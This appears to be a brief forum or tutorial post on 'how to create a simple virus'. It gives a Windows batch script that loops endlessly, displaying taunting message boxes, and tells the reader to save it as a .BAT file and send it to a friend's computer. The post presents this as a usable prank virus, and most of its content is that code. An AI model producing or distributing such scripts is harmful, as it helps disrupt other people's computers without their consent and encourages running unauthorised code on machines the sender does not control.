how to create a simple virus?

NOTE:DON'T USE ON YOUR OWN PC.
Here is a way on how to create a simple batch file virus

Write it in a notepad
Cycle a message in your friend's computer(code is given below)
Type :

Code:
@ECHO off
:Begin
msg * Hello
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN


 Save it as "Anything.BAT" and send it